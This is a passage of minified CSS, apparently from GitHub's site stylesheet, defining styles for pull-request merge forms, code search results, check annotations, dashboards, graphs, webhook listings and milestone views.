.branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.enqueued-pull-request .branch-action-body::before{background-color:var(--color-attention-emphasis)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.branch-action-body .spinner{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.merge-branch-form,.queue-branch-form{display:none;margin:16px 0}.merge-branch-form .commit-form,.queue-branch-form .commit-form{border-color:var(--color-success-emphasis)}.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:block;border-right-color:var(--color-border-default)}}.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:block}}.merge-branch-form.error .commit-form,.merge-branch-form.danger .commit-form,.queue-branch-form.error .commit-form,.queue-branch-form.danger .commit-form{border-color:var(--color-danger-emphasis)}.merge-branch-form.error .commit-form::before,.merge-branch-form.danger .commit-form::before,.queue-branch-form.error .commit-form::before,.queue-branch-form.danger .commit-form::before{border-right-color:var(--color-danger-emphasis)}.merge-button-matrix-merge-form .merge-branch-form{display:block}.completeness-indicator{display:flex;align-items:center;justify-content:center;width:30px;height:30px}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-problem{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-warning{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent;border-radius:50%}.pull-merging .pull-merging-error{display:none}.pull-merging.is-error .pull-merging-error{display:block}.pull-merging.is-error .merge-pr{display:none}.admin-options-block .admin-option-button{margin-top:8px}.admin-options-block .policy-enforcement{display:inline;margin-left:8px;color:var(--color-fg-muted)}.admin-options-block .policy-enforcement label{font-size:14px}.admin-options-block .disabled{color:var(--color-fg-muted)}.admin-options-block .disabled .note{color:var(--color-fg-muted)}.overflow-scroll-y{overflow-x:hidden !important;overflow-y:scroll !important}.business-menu-item:not([aria-current=page])+.business-sub-menu{display:none}.business-menu-icon{width:16px;margin-right:8px}.deprovisioning-checkbox>.show-if-disabled{display:none}.deprovisioning-checkbox.checkbox-disabled{color:var(--color-fg-muted)}.deprovisioning-checkbox.checkbox-disabled>.show-if-disabled{display:inherit}.dormant-users-recent-reports{gap:16px}.avatar-migration-status-badge{width:20px;height:20px}body.full-width-p-0 .new-discussion-timeline{padding:0 !important}body.full-width-p-0 .footer .mt-6{margin-top:0 !important;border-top:0 !important}body.full-width-p-0 .tabnav .tabnav-extra{margin-right:24px}body.full-width-p-0 .tabnav .tabnav-tabs{margin-left:16px}.actions-full-screen .pagehead,.actions-full-screen .hide-full-screen,.actions-full-screen .Header-old,.actions-full-screen .Header{display:none}.checks-list-item.selected .checks-list-item-name{background-color:var(--color-accent-emphasis) !important}.checks-list-item.selected .selected-color-white{color:var(--color-fg-on-emphasis) !important}.checks-list-item-icon{width:16px}.check-annotation{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.file .check-annotation{border-bottom:1px solid var(--color-border-default)}.file .check-annotation:last-child{border-bottom:0}.check-annotation .annotation-actions{top:4px;right:8px}.check-annotation .annotation-octicon{width:16px}.check-annotation.Details--on .Details-content--hidden{display:block !important}.annotation-title{word-break:break-all}.check-annotation-failure{box-shadow:inset 4px 0 0 var(--color-danger-emphasis)}.check-annotation-failure .annotation-title{color:var(--color-danger-fg)}.check-annotation-warning{box-shadow:inset 4px 0 0 var(--color-attention-emphasis)}.check-annotation-warning .octicon-alert{color:var(--color-attention-fg)}.check-annotation-warning .annotation-title{color:var(--color-attention-fg)}.neutral-check{color:var(--color-fg-muted)}.code-frequency .addition{fill:#2cbe4e;fill-opacity:1}.code-frequency .deletion{fill:var(--color-danger-emphasis);fill-opacity:1}.code-list .file-box{border:1px solid var(--color-border-default);border-radius:6px}.code-list .title{min-height:24px;margin:-4px 0 8px 40px;font-weight:600;line-height:1.2}.code-list .repo-specific .title,.code-list .repo-specific .full-path{margin-left:0}.code-list .match-count,.code-list .updated-at{margin:0;font-weight:400}.code-list .language{float:right;margin-left:8px;font-size:12px;color:rgba(51,51,51,.75)}.code-list .avatar{float:left}.code-list .code-list-item+.code-list-item{border-top:1px solid var(--color-border-muted)}.code-list .blob-num{padding:0}.code-list .blob-num::before{content:normal}.code-list .blob-num a{padding:0 8px;color:inherit}.code-list .blob-num a:hover{color:var(--color-accent-fg)}.code-list .blob-code{white-space:pre-wrap}.code-list .divider .blob-num,.code-list .divider .blob-code{padding-top:0;padding-bottom:0;cursor:default;background-color:var(--color-canvas-subtle)}.code-list .divider .blob-num{height:18px;padding:0 8px;line-height:15px;background-color:var(--color-canvas-subtle)}.code-list .full-path{margin:0 0 0 40px}.code-list .full-path .octicon-repo{color:var(--color-fg-muted)}.code-list .full-path .octicon-lock{color:var(--color-attention-fg)}.code-list .full-path a{color:var(--color-fg-muted)}.code-list-item-private .file-box{border:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num{background-color:var(--color-attention-subtle);border-right:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num a{color:var(--color-attention-fg)}.code-list-item-private .divider .blob-num,.code-list-item-private .divider .blob-code{color:var(--color-attention-fg);background-color:var(--color-attention-subtle)}.code-scanning-alert-warning-message{border-color:var(--color-attention-emphasis) !important}.code-scanning-font-size-inherit{font-size:inherit !important}.cs-message .md-list{padding-left:2em}.code-scanning-timeline .TimelineItem:last-of-type.code-scanning-alert-dismissal-comment::before{width:0}.codesearch-head.pagehead h1{width:250px;line-height:33px}@media(min-width: 768px){.advanced-search-form .flattened dt{width:230px}.advanced-search-form .flattened dt label{font-weight:400}.advanced-search-form .flattened dd{margin-left:250px}.advanced-search-form .form-checkbox{margin-left:250px}}.codesearch-results .code-list .title a{word-wrap:break-word}.codesearch-results .repo-list-item{border-bottom:0}.codesearch-results .repo-list-item+.repo-list-item{border-top:1px solid var(--color-border-default)}.search-form-fluid .TableObject-item--primary{position:relative;padding-right:8px}.search-form-fluid .completed-query{position:absolute;z-index:1;padding:inherit;margin:0;overflow:hidden;white-space:nowrap}.search-form-fluid .completed-query span{opacity:0}.search-form-fluid .search-page-label{position:relative;display:block;font-weight:400;cursor:text}.search-form-fluid .search-page-label.focus .completed-query{opacity:.6}.search-form-fluid .search-page-input{position:relative;z-index:2;min-height:0;padding:0;margin:0;background:none;border:0;box-shadow:none}.search-form-fluid .search-page-input:focus{box-shadow:none}.topics-row-container{height:30px;overflow:hidden}@media(max-width: 544px){.codesearch-pagination-container a:not(.next_page):not(.previous_page),.codesearch-pagination-container .gap{display:none}.codesearch-pagination-container .previous_page,.codesearch-pagination-container .next_page{width:100%}.codesearch-pagination-container .current{color:var(--color-fg-muted);background:var(--color-canvas-default);border-color:var(--color-border-default)}.codesearch-pagination-container .current::after{content:" of " attr(data-total-pages)}}.codespaces-policy-form details>summary::-webkit-details-marker{display:none}.codespaces-wider-select-menu-modal{width:420px;margin-right:32px}.codespaces-policy-item-no-hover:hover{background-color:var(--color-canvas-overlay)}.codespaces-policy-constraint-menu-item-muted-hover:hover{color:var(--color-fg-default);background-color:var(--color-btn-hover-bg)}.codespaces-policy-form-button-hover:hover .codespaces-policy-form-button-text-hover{border-color:var(--color-btn-hover-bg) !important}.codespaces-policy-form-button-hide-border{border-color:var(--color-scale-white) !important}.codespaces-policy-form-blue-hover:hover{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:hover svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:focus svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-danger-hover:hover{background-color:var(--color-danger-subtle) !important}.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}@media(prefers-color-scheme: light){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: dark){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-dark.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: no-preference){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}.commit-activity-master{margin-top:16px}.is-graph-loading .commit-activity-master{display:none}rect{shape-rendering:crispedges}rect.max{fill:var(--color-attention-fg)}g.bar{fill:var(--color-success-fg)}g.mini{fill:var(--color-severe-fg)}g.active rect{fill:var(--color-danger-fg)}circle.focus{fill:var(--color-fg-muted)}.dot text{fill:var(--color-fg-muted);stroke:none}span.no-nl-marker{position:relative;color:var(--color-danger-fg);vertical-align:middle}.symlink .no-nl-marker{display:none}.range-editor{position:relative;padding:4px 16px 4px 40px;margin-top:16px;margin-bottom:16px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.range-editor .dots{font-size:16px}.range-editor .select-menu{position:relative;display:inline-block}.range-editor .select-menu.fork-suggester{display:none}.range-editor .branch-name{line-height:22px}.range-editor .branch .css-truncate-target,.range-editor .fork-suggester .css-truncate-target{max-width:180px}.range-editor .pre-mergability{display:inline-block;padding:4px;line-height:26px;vertical-align:middle}.range-editor .pre-mergability .octicon{vertical-align:text-bottom}.range-editor.is-cross-repo .select-menu.fork-suggester{display:inline-block}.range-editor-icon{float:left;margin-top:8px;margin-left:-24px;color:var(--color-fg-muted)}.compare-pr-header{display:none}.is-pr-composer-expanded .compare-show-header{display:none}.is-pr-composer-expanded .compare-pr-header{display:block}.range-cross-repo-pair{display:inline-block;padding:4px;white-space:nowrap}.tint-box{position:relative;margin-bottom:8px;background:var(--color-canvas-subtle);border-radius:6px}.tint-box.transparent{background:var(--color-canvas-default)}.tint-box .activity{padding-top:100px;margin-top:0}.contrib-person path{fill:var(--color-severe-fg)}.contrib-person .midlabel{fill:var(--color-neutral-emphasis)}.coupons .setup-plans td img{margin-top:-2px;vertical-align:middle}.coupons .coupon-form-body{width:270px;padding:16px;margin:100px auto 60px;font-size:14px;text-align:center;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.coupons .coupon-form-body .input-block{margin-bottom:16px}.coupons .coupon-form-body .btn{display:block;width:100%}.coupon-icon{width:80px;height:80px;margin:0 auto 16px;color:var(--color-accent-fg);border:1px solid var(--color-border-default);border-radius:40px}.coupon-icon .octicon{margin-top:16px;margin-right:2px}.coupons-list-options .select-menu{display:inline-block;margin-right:8px}.coupons-list-options .pagination{float:right;margin:0}.repo-private-icon{fill:var(--color-attention-fg)}.dashboard-rollup-items>.dashboard-rollup-item{border-top:1px solid var(--color-border-default)}.news-full{float:none;width:auto}.dashboard-break-word{-webkit-hyphens:auto;hyphens:auto;word-break:break-word}.news .bio g-emoji,.news .repo-description g-emoji{display:inline-block}.news .feed-item-heading-menu-button{color:var(--color-fg-muted)}.news .feed-item-heading-menu-button:hover{color:var(--color-fg-default)}.suggest-icon{width:48px;height:48px;padding:4px}.suggest-icon svg,.suggest-icon path{fill:#fff}.suggest-icon svg::before,.suggest-icon path::before{bottom:-6px;left:-4px;background-color:#9e7bff}.suggest-icon svg::after,.suggest-icon path::after{top:-5px;right:-5px;width:5px;height:5px;background-color:#6c84e9}.suggest-icon .suggest-icon-bubble{position:absolute;width:6px;height:6px;background-color:#6c84e9;border-radius:50%}.suggest-icon .suggest-icon-bubble:nth-of-type(2n){width:4px;height:4px;background-color:#9e7bff}.suggest-icon .suggest-icon-bubble:nth-of-type(1){bottom:-7px;left:-7px}.suggest-icon .suggest-icon-bubble:nth-of-type(2){top:-4px;right:4px}.suggest-icon .suggest-icon-bubble:nth-of-type(3){top:-7px;right:-8px}.dashboard-notice{position:relative;padding:16px 16px 16px 55px;margin-bottom:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.dashboard-notice .dismiss{position:absolute;top:10px;right:10px;width:16px;height:16px;color:var(--color-fg-muted);cursor:pointer}.dashboard-notice .dismiss:hover{color:var(--color-fg-muted)}.dashboard-notice .notice-icon{position:absolute;top:15px;left:15px}.dashboard-notice .octicon-organization{color:var(--color-accent-fg)}.dashboard-notice h2{margin-top:8px;margin-bottom:16px;font-size:16px;font-weight:400;color:var(--color-fg-default)}.dashboard-notice p.no-title{padding-right:4px}.dashboard-notice ul{margin-left:16px}.dashboard-notice li{padding-bottom:16px}.dashboard-notice .coupon{padding:8px;margin:16px 0;font-size:20px;font-weight:600;text-align:center;background:var(--color-canvas-default);border:1px dashed var(--color-border-default)}.dashboards-overview-lead{width:700px}.dashboards-overview-cards .boxed-group{width:100%;margin:8px 0}.dashboards-overview-cards .boxed-group .graph-canvas path{stroke-opacity:.5}.dashboards-overview-cards .is-no-activity .blankslate{display:block}.dashboards-overview-cards .is-no-activity .dashboards-overview-graph{display:none}.dashboards-overview-cards .blankslate{display:none;padding-top:47px;background-color:var(--color-canvas-default);border:0;box-shadow:none}.dashboards-overview-cards .octicon-arrow-down,.dashboards-overview-cards .octicon-arrow-up{display:none}.dashboards-overview-cards .is-increase .octicon-arrow-up{display:inline-block}.dashboards-overview-cards .is-decrease .octicon-arrow-down{display:inline-block}.dashboards-overview-cards .octicon-arrow-down{color:var(--color-danger-fg)}.dashboards-overview-cards .octicon-arrow-up{color:#1db34f}.dashboards-overview-cards .graph-canvas .dots{padding:43px 0}.dashboards-overview-cards .summary-stats{height:78px}.dashboards-overview-cards .summary-stats .metric-0{color:#1db34f}.dashboards-overview-cards .summary-stats .metric-1{color:var(--color-accent-fg)}.dashboards-overview-cards .summary-stats .totals-num{margin:0 8px}.dashboards-overview-cards .summary-stats .single{width:100%}.dashboards-overview-cards .dashboards-overview-graph{height:160px}.dashboards-overview-cards .dashboards-overview-graph path{fill:none;stroke-width:2}.dashboards-overview-cards .dashboards-overview-graph path.metric-0{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph path.metric-1{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .y line{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph .y.unique line{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .overlay{fill-opacity:0}.dashboards-overview-cards .metric-0 circle{fill:#1db34f;stroke:#fff;stroke-width:2}.dashboards-overview-cards .dots.metric-1 circle{fill:#1d7fb3;stroke:#fff;stroke-width:2}dl.form.developer-select-account{margin-top:0}.developer-wrapper .setup-info-module .features-list{margin-left:16px}.developer-wrapper .setup-info-module .features-list .octicon{margin-left:-16px}.developer-thanks h2{font-size:40px;font-weight:400}.developer-thanks .hook{margin-top:2px;margin-bottom:32px;font-size:16px;font-weight:300;color:var(--color-fg-muted)}.developer-thanks-image{position:relative;bottom:-45px;float:left;width:400px}.developer-thanks-section{margin:130px 0 0 470px}.developer-next-steps{font-size:16px;font-weight:300;list-style:none}.developer-next-steps li{margin-top:8px}.developer-next-steps li:first-child{margin-top:0}.developer-next-steps .octicon{margin-right:8px;color:var(--color-success-fg);vertical-align:middle}.file-diff-split[data-lock-side-selection=left] [data-split-side=right],.file-diff-split[data-lock-side-selection=right] [data-split-side=left]{-webkit-user-select:none;user-select:none}.invisible{position:absolute;opacity:0}.icon-discussion-answered{color:var(--color-success-fg)}.icon-discussion-answered,.icon-discussion-answered path{fill:var(--color-success-emphasis)}.icon-discussion-white{color:var(--color-discussions-state-answered-icon) !important}.icon-discussion-white,.icon-discussion-white path{fill:var(--color-discussions-state-answered-icon) !important}.icon-discussion-gray{color:var(--color-fg-default)}.icon-discussion-gray,.icon-discussion-gray path{fill:var(--color-fg-default)}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-checked=true]:hover,.label-select-menu .select-menu-item[aria-checked=true]:focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item-icon,.label-select-menu .label-options-icon{color:inherit !important}.user-has-reacted .octicon{fill:var(--color-accent-fg)}.donut-chart>.error,.donut-chart>.cancelled,.donut-chart>.action_required,.donut-chart>.timed_out,.donut-chart>.failure{fill:var(--color-checks-donut-error)}.donut-chart>.expected,.donut-chart>.queued,.donut-chart>.in_progress,.donut-chart>.waiting,.donut-chart>.requested,.donut-chart>.pending{fill:var(--color-checks-donut-pending)}.donut-chart>.success{fill:var(--color-checks-donut-success)}.donut-chart>.neutral,.donut-chart>.stale,.donut-chart>.skipped{fill:var(--color-checks-donut-neutral)}.survey-question-form .other-text-form,.survey-question-form .other-text-form-block{display:none;margin-top:0}.survey-question-form.is-other-selected .other-text-form{display:inline-block}.survey-question-form.is-other-selected .other-text-form-block{display:block}.ghe-license-status{padding:40px 0;font-size:16px;text-align:center}.ghe-license-status .octocat{width:225px;margin-bottom:16px}.ghe-license-status h1{margin-bottom:8px}.ghe-license-status p{margin-bottom:4px;color:var(--color-fg-muted)}.ghe-license-expiry-icon{margin:4px 8px 0 0;color:var(--color-attention-fg)}.feature-preview-dialog{width:90vw;max-width:880px;height:60vh;min-height:240px;max-height:700px}.feature-preview-dialog .feature-preview-info{height:60vh;min-height:183px;max-height:calc(100% - 57px)}.file{position:relative;margin-top:16px;margin-bottom:16px;border:1px solid var(--color-border-default, #ddd);border-radius:6px}.file .drag-and-drop{border:0;border-top:1px dashed var(--color-border-default)}.file:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.file .data.empty{padding:4px 8px;color:var(--color-fg-muted)}.file:not(.open) .file-header.file-header--expandable{border-bottom:0;border-radius:6px}.file .data.suppressed,.file.open .image{display:none}.file.open .data.suppressed{display:block}.file .image{position:relative;padding:32px;text-align:center;background-color:#ddd}.file .image table{margin:0 auto}.file .image td{padding:0 4px;color:var(--color-fg-muted);text-align:center;vertical-align:top}.file .image td img{max-width:100%}.file .image .border-wrap{position:relative;display:inline-block;line-height:0;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default)}.file .image a{display:inline-block;line-height:0}.file .image img,.file .image canvas{max-width:600px;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee;border:1px solid #fff}.file .image .view img,.file .image .view canvas{position:relative;top:0;right:0;max-width:inherit;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee}.file .image .view>span{vertical-align:middle}.file .empty{background:none}.file-header{z-index:2;padding:4px 8px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.file-header::before{display:table;content:""}.file-header::after{display:table;clear:both;content:""}.file-actions{float:right;padding-top:2px;font-size:12px}.file-actions select{margin-left:4px}.file-info{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:32px}.file-info .octicon{vertical-align:text-bottom}.sticky-file-header{position:sticky;top:60px}.diff-progressive-loader{min-height:150px}.load-diff-button,.load-diff-retry{z-index:1;min-height:32px}.diff-placeholder-svg{clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%)}.ghae-bootstrap-container{min-height:calc(100vh - 54px)}.ghae-bootstrap-incomplete-step{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.ghae-bootstrap-complete-step{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.ghae-enterprise-name-form-error{left:50%;transform:translateX(-50%)}.graphs .area{fill:var(--color-success-emphasis);fill-opacity:.5}.graphs .path{fill:none;stroke:var(--color-success-emphasis);stroke-opacity:1;stroke-width:2px}.graphs .dot{fill:var(--color-success-emphasis);stroke:#1e7e34;stroke-width:2px}.graphs .dot.padded{stroke:var(--color-canvas-default);stroke-width:1px}.graphs .dot.padded circle:hover{fill:var(--color-accent-emphasis)}.graphs .d3-tip{fill:var(--color-neutral-emphasis)}.graphs .d3-tip text{font-size:12px;fill:var(--color-canvas-default)}.graphs .dir{float:right;padding-top:4px;font-size:12px;font-weight:400;line-height:100%;color:var(--color-fg-muted)}.graphs .selection .overlay{visibility:none}.graphs .selection .selection{fill:var(--color-neutral-emphasis);fill-opacity:.1;stroke:var(--color-fg-default);stroke-dasharray:3 3;stroke-opacity:.4;stroke-width:1px;shape-rendering:crispedges}.graph-filter h3{display:inline-block;font-size:24px;font-weight:300}.graph-filter .info{margin-bottom:16px;color:var(--color-fg-muted)}.graph-canvas .activity{width:400px;padding:8px;margin:100px auto 0;color:var(--color-fg-default);text-align:center;border-radius:6px}.graph-canvas .dots{margin:0 auto}.graph-canvas>.activity{display:none}.graph-canvas .axis{font-size:12px}.graph-canvas .axis line{stroke:var(--color-border-default);shape-rendering:crispedges}.graph-canvas .axis text{fill:var(--color-fg-muted)}.graph-canvas .axis path{display:none}.graph-canvas .axis .zero line{stroke:var(--color-accent-emphasis);stroke-dasharray:3 3;stroke-width:1.5}.graph-canvas text.axis{fill:var(--color-fg-muted)}.graph-canvas .graph-loading,.graph-canvas .graph-error,.graph-canvas .graph-no-usable-data,.graph-canvas .graph-empty{display:none}.graph-canvas.is-graph-loading>.activity,.graph-canvas.is-graph-without-usable-data>.activity,.graph-canvas.is-graph-empty>.activity{display:block}.graph-canvas.is-graph-loading .graph-loading,.graph-canvas.is-graph-empty .graph-empty,.graph-canvas.is-graph-without-usable-data .graph-no-usable-data,.graph-canvas.is-graph-load-error .graph-error{display:block}.svg-tip{position:absolute;z-index:99999;padding:8px 16px;font-size:12px;color:var(--color-fg-on-emphasis);text-align:center;background:var(--color-neutral-emphasis-plus);border-radius:6px}.svg-tip.is-visible{display:block}.svg-tip::after{position:absolute;bottom:-10px;left:50%;width:5px;height:5px;box-sizing:border-box;margin:0 0 0 -4px;content:" ";border:5px solid transparent;border-top-color:var(--color-neutral-emphasis-plus)}.svg-tip.left::after{left:10%}.svg-tip.right::after{left:90%}.svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.svg-tip.comparison .title{display:block;padding:8px;margin:0;font-weight:600;line-height:1;pointer-events:none}.svg-tip.comparison ul{padding:4px 8px 8px 8px;margin:0;white-space:nowrap;list-style:none}.svg-tip.comparison li{display:inline-block;padding-top:16px}.svg-tip.comparison .metric-0,.svg-tip.comparison .metric-1{position:relative}.svg-tip.comparison .metric-0::before,.svg-tip.comparison .metric-1::before{position:absolute;top:0;right:0;left:0;height:4px;content:"";border:1px solid var(--color-border-default);border-radius:6px}.svg-tip.comparison .metric-0::before{background-color:var(--color-success-emphasis)}.svg-tip.comparison .metric-1::before{background-color:var(--color-accent-emphasis)}.svg-tip-one-line{white-space:nowrap}.activity-overview-axis,.activity-overview-point{stroke:var(--color-calendar-graph-day-L4-bg)}.halloween-activity-overview .activity-overview-axis,.halloween-activity-overview .activity-overview-point{stroke:var(--color-calendar-halloween-graph-day-L4-bg)}.activity-overview-label{fill:var(--color-fg-muted)}.activity-overview-percentage{font-size:12px;fill:var(--color-fg-muted)}.team-breadcrumb .team-breadcrumb-item{display:inline-block}.team-breadcrumb .team-breadcrumb-item::after{padding-right:.5em;padding-left:.5em;color:var(--color-neutral-muted);content:"/"}.team-breadcrumb .team-breadcrumb-item-selected::after{content:none}.team-discussions-container{min-height:100vh}.team-left-column{max-width:100%}@media(min-width: 768px){.team-left-column{max-width:350px}}.team-left-column .team-avatar{width:80px;height:80px}@media(min-width: 768px){.team-left-column .team-avatar{width:140px;height:140px}}.team-discussions{max-width:768px}.team-discussions .previewable-comment-form .comment{border:0}.team-discussions .previewable-comment-form .toolbar-commenting.toolbar-commenting.toolbar-commenting{background:transparent}.team-discussions .previewable-comment-form .tabnav-tab.selected{background-color:var(--color-canvas-default)}.hooks-listing .boxed-group-action.select-menu{z-index:auto}.hooks-listing .boxed-group-inner{padding:0 8px;margin-bottom:8px}.hook-item a:hover{text-decoration:none}.hook-item .item-status{float:left;width:16px;margin-right:8px;text-align:center}.hook-item .description{color:var(--color-fg-muted)}.hook-item .description .css-truncate-target{max-width:160px}.hook-item .icon-for-success,.hook-item .icon-for-failure,.hook-item .icon-for-pending,.hook-item .icon-for-inactive{display:none}.hook-item.success .icon-for-success{display:inline-block;color:var(--color-success-fg)}.hook-item.failure .icon-for-failure{display:inline-block;color:var(--color-danger-fg)}.hook-item.pending .icon-for-pending{display:inline-block;color:var(--color-fg-muted)}.hook-item.inactive .icon-for-inactive{display:inline-block;color:var(--color-fg-muted)}.hook-item .icon-for-enabled,.hook-item .icon-for-disabled{display:none}.hook-item.enabled .icon-for-enabled{display:inline-block;color:var(--color-success-fg)}.hook-item.disabled .icon-for-disabled{display:inline-block;color:var(--color-fg-muted)}.hook-item .hook-error-message{margin-left:24px;color:var(--color-danger-fg)}.hook-url.css-truncate-target{max-width:360px}.hooks-oap-warning{margin-top:0}.hooks-oap-warning ul{margin:8px 0}.hooks-oap-warning ul li{margin-left:16px}.item-name{float:left;font-weight:600}.hovercard-icon{width:16px}.integration-meta-head{font-size:16px;color:var(--color-fg-muted)}.integrations-select-repos{max-height:138px;overflow-y:scroll;border-radius:6px}.integrations-select-repos .mini-repo-list-item{padding:8px 64px 8px 32px}.integrations-select-repos .mini-repo-list-item:hover .repo,.integrations-select-repos .mini-repo-list-item:hover .owner{text-decoration:none}.integrations-select-repos .mini-repo-list-item .css-truncate-target{max-width:345px}.integrations-select-repos::-webkit-scrollbar{width:10px}.integrations-select-repos::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.5);border:solid var(--color-canvas-default) 2px;border-radius:6px;box-shadow:0 0 1px rgba(255,255,255,.5)}.integrations-select-repos::-webkit-scrollbar-track-piece{background:transparent}.integrations-repository-picker{width:440px}.target-avatar{position:relative;top:-2px}.issue-list-item+.issue-list-item{border-top:solid 1px var(--color-border-muted)}.pinned-issue-item .pinned-issue-handle{cursor:grab}.pinned-issue-item.is-dragging,.pinned-issue-item.is-dragging .pinned-issue-handle{cursor:grabbing}.pinned-issue-item.is-dragging{background-color:var(--color-accent-subtle)}.pinned-issue-item.sortable-ghost{background-color:var(--color-accent-subtle);opacity:0}.issues-reset-query-wrapper{margin-bottom:16px}.label-link:hover{text-decoration:none}.issues-reset-query{font-weight:600;color:var(--color-fg-muted)}.issues-reset-query:hover{color:var(--color-accent-fg);text-decoration:none}.issues-reset-query:hover .issues-reset-query-icon{background-color:var(--color-accent-emphasis)}.issues-reset-query-icon{width:18px;height:18px;padding:1px;margin-right:4px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.table-list-milestones .stats{gap:0 15px}.table-list-milestones .table-list-cell{padding:16px 16px}.table-list-milestones .stat{display:inline-block;font-size:14px;font-weight:600;line-height:1.2;color:var(--color-fg-muted);white-space:nowrap}.table-list-milestones .stat a{color:inherit}.table-list-milestones .stat-label{font-weight:400;color:var(--color-fg-muted)}.milestone-title{width:500px}.milestone-title-link{margin-top:0;margin-bottom:4px;font-size:24px;font-weight:400;line-height:1.2}.milestone-title-link a{color:var(--color-fg-default, #333)}.milestone-title-link a:hover{color:var(--color-accent-fg)}.milestone-progress{width:auto;max-width:420px}.milestone-progress .progress-bar{margin-top:8px;margin-bottom:12px}.milestone-meta{font-size:14px}.milestone-meta-item{display:inline-block;margin-right:8px}.milestone-meta-item .octicon{width:16px;text-align:center}.milestone-description-html{display:none}.milestone-description{margin-top:4px}.milestone-description .expand-more{color:var(--color-accent-fg);cursor:pointer}.milestone-description .expand-more:hover{text-decoration:underline}.milestone-description.open .milestone-description-plaintext{display:none}.milestone-description.open .milestone-description-html{display:block}.milestones-flexbox-gap{gap:10px}.issue-reorder-warning{z-index:110}.task-progress{color:var(--color-fg-muted);text-decoration:none;vertical-align:top}.task-progress .octicon{margin-right:4px;color:var(--color-fg-muted, #999);vertical-align:bottom}.task-progress .progress-bar{display:inline-block;width:80px;height:5px;vertical-align:2px;background-color:var(--color-neutral-muted)}.task-progress .progress-bar .progress{background-color:var(--color-border-default)}.task-progress-counts{display:inline-block;margin-right:4px;margin-left:-2px;font-size:12px}a.task-progress:hover{color:var(--color-accent-fg)}a.task-progress:hover .octicon{color:inherit}a.task-progress:hover .progress-bar .progress{background-color:var(--color-accent-emphasis)}.issue-meta-section .octicon{color:var(--color-fg-muted, #ccc);vertical-align:bottom}.issue-milestone{max-width:240px}.issue-milestone .css-truncate-target{max-width:100px}.milestone-link .octicon{font-size:14px}.milestone-link:hover .octicon{color:inherit}.new-pr-form{margin-top:16px;margin-bottom:16px}.new-pr-form::before{display:table;content:""}.new-pr-form::after{display:table;clear:both;content:""}.new-pr-form .discussion-timeline::before{display:none}.label-select-menu .description{margin-left:16px}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu [aria-checked=true] .select-menu-item-icon,.label-select-menu [aria-checked=mixed] .select-menu-item-icon,.label-select-menu .selected .select-menu-item-icon{color:inherit !important}.label-select-menu [aria-checked=true] .octicon-circle-slash,.label-select-menu [aria-checked=mixed] .octicon-circle-slash,.label-select-menu .selected .octicon-circle-slash{color:var(--color-fg-muted)}.label-select-menu [aria-checked=true]:active,.label-select-menu [aria-checked=mixed]:active,.label-select-menu .selected:active{background-color:transparent 